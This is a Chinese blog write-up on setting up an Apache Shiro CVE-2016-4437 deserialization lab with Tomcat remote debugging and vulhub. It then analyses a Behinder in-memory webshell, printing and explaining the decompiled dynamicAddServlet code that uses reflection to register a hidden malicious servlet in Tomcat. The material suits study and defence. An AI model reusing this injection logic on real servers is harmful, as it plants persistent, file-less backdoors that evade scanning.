| 前置 | 备注 |
|---|---|
| 构建问题 |
|
|
|
| 攻击 | |
| CVE | 链接 |
现如今部署一个靶场的方法有很多,取决于个人喜好和需求;我结合个人能力做出了一些总结:
| 特点\部署办法 | docker-compose | IDEA tomcat调试部署 | Docker+IDEA |
|---|---|---|---|
| 快捷程度 | 几条命令快捷部署 | 需开放调试端口+tomcat war包(如无则需源码构建) | 你懂的 |
| 能否调试 | ❎ | ✅ | ✅ |
| 自定义靶场(如页面) | ❎ | ✅ | ✅ |
本篇文章会侧重描述如何进行针对IDEA的tomcat调试部署;
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1
mvn install
cd samples/web
mvn install
{path-to-shiro}/samples/web/target目录下的war包复制到tomcat webapps目录下:$ tree
target
··
│ ├── index.jsp
│ ├── login.jsp
│ ├── logout.jsp
│ └── style.css
├── samples-web-1.4.1.war
$ cp samples/web/target/samples-web-1.4.1.war {path-to-tomcat}/webapps/
bin/catalina.sh文件中的JAVA_OPTS(会有多个),修改如下: JAVA_OPTS="$JAVA_OPTS $JSSE_OPTS"
# Register custom URL handlers
# Do this here so custom URL handles (specifically 'war:...') can be used in the security policy
JAVA_OPTS="$JAVA_OPTS -Djava.protocol.handler.pkgs=org.apache.catalina.webresources"
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y"
#上面的CATALINA_OPTS为新增;address为调试端口,可自行更改。
* `bin/startup.sh`启动,看到以下日志打印则开放调试成功:
$ tail -f logs/catalina.out
Listening for transport dt_socket at address: 5555
10-Mar-2021 09:51:16.763 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log Server.服务器版本: Apache Tomcat/8.5.57
···
10-Mar-2021 09:51:16.769 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数:-Xdebug
10-Mar-2021 09:51:16.769 信息 [main] org.apache.catalina.startup.VersionLoggerListener.log 命令行参数:-Xrunjdwp:transport=dt_socket,address=5555,suspend=n,server=y
Tomcat Server->Remote):
* 如下图,加上`home.jsp`断点后进行http请求,可以看到IDEA中返回的frames详情;

这样基本上一个基本的IDEA+tomcat的调试配置过程基本就完成了,当然,这只是调试前的准备工作,大家多练习几次,基本上就能够熟练掌握;而最重要的以及最难的其实是调试阶段,调试过程中的一些技巧和能力是在一次次的实践中沉淀下来的,在这里仅仅当作抛砖引玉,不做赘述。
python->pip->docker-compose,教程自行搜索:)$ git clone https://github.com/vulhub/vulhub.git
$ cd vulhub/shiro/CVE-2016-4437/
$ docker-compose up -d
等待启动即可。
poc代码生成攻击cookie可以参考之前的文章:
分享:Different Shiro Framework deserialization analysis ideas#how to poc
分享:Different Shiro Framework deserialization analysis ideas#验证
这一小节由于个人水平有限,不能像各位师傅一样从tomcat servlet等层面一探究竟,我尽量使用简洁的语言写出我的理解。
工具直接选择”冰蝎2_Tomcat”,执行注入;

p&path&dy数据;同时header中加入了rememberMe Cookie;分析: Cookie是作为反序列化的入口,
dy参数应该是写入内存的命令。同时最后返回dynamic inject success。

我们把利用工具的jar包扔进反编译软件定位到BehOldDemoServlert.class,我们来看看代码是怎么工作的:
public void dynamicAddServlet(ServletContext servletContext) throws Exception {
Method method;
String wrapperName = this.path;
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Object newWrapper = invoke(standardContext, "createWrapper", (Object[])null);
invoke(newWrapper, "setName", new Object[] { wrapperName });
setFieldValue(newWrapper, "instance", this);
Class<?> containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
Object oldWrapper = invoke(standardContext, "findChild", new Object[] { wrapperName });
if (oldWrapper != null)
standardContext.getClass().getDeclaredMethod("removeChild", new Class[] { containerClass });
standardContext.getClass().getDeclaredMethod("addChild", new Class[] { containerClass }).invoke(standardContext, new Object[] { newWrapper });
try {
method = standardContext.getClass().getMethod("addServletMappingDecoded", new Class[] { String.class, String.class });
} catch (Exception var9) {
method = standardContext.getClass().getMethod("addServletMapping", new Class[] { String.class, String.class });
}
method.invoke(standardContext, new Object[] { this.path, wrapperName });
init((ServletConfig)getFieldValue(newWrapper, "facade"));
}
上述 dynamicAddServlet 方法是冰蝎内存马的核心注入逻辑,整体流程可拆解为以下 6 个关键步骤:
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
通过 双重反射 穿透 Tomcat 的 ApplicationContextFacade → ApplicationContext → StandardContext 引用链,获取 Tomcat 内部的 StandardContext 对象。该对象是 Web 应用的核心容器,管理着所有的 Servlet、Filter、Listener 等组件。由于这些内部字段均为 private,需要通过 setAccessible(true) 绕过访问控制。
Object newWrapper = invoke(standardContext, "createWrapper", (Object[])null);
invoke(newWrapper, "setName", new Object[] { wrapperName });
setFieldValue(newWrapper, "instance", this);
调用 StandardContext.createWrapper() 创建一个新的 Wrapper 对象(Tomcat 中 Wrapper 是 Servlet 的容器抽象),并将 this(即恶意 Servlet 实例)设置为该 Wrapper 的 instance 字段。wrapperName 来自攻击者指定的 path 参数,决定了内存马的访问路径。
Object oldWrapper = invoke(standardContext, "findChild", new Object[] { wrapperName });
if (oldWrapper != null)
standardContext.getClass().getDeclaredMethod("removeChild", new Class[] { containerClass });
通过 findChild 检查是否已存在同名 Wrapper。如果存在(即内存马已注入过),先调用 removeChild 移除旧的,避免注册冲突。这保证了重复注入的幂等性。
standardContext.getClass().getDeclaredMethod("addChild", new Class[] { containerClass })
.invoke(standardContext, new Object[] { newWrapper });
调用 addChild 将新的 Wrapper 添加到 StandardContext 的子容器列表中。这是将恶意 Servlet 注册到 Tomcat 运行时上下文的核心步骤。
try {
method = standardContext.getClass().getMethod("addServletMappingDecoded", new Class[] { String.class, String.class });
} catch (Exception var9) {
method = standardContext.getClass().getMethod("addServletMapping", new Class[] { String.class, String.class });
}
method.invoke(standardContext, new Object[] { this.path, wrapperName });
调用 addServletMappingDecoded(或降级为 addServletMapping)将攻击者指定的 URL 路径映射到 Wrapper。此后,访问该路径即可触发恶意 Servlet 的 service() 方法。try-catch 是为了兼容不同 Tomcat 版本的 API 差异。
init((ServletConfig)getFieldValue(newWrapper, "facade"));
从 Wrapper 中获取 ServletConfig(facade),调用 init() 方法完成 Servlet 的初始化。至此,恶意 Servlet 完全融入 Tomcat 的生命周期管理,与正常注册的 Servlet 无异。
关键特征: 整个过程完全在内存中完成,不涉及任何文件的创建或修改。恶意 Servlet 通过
StandardContext的内部 API 注册,不会出现在web.xml部署描述符中,传统的文件扫描和配置审计均无法检测。重启 Tomcat 服务后内存马自动清除。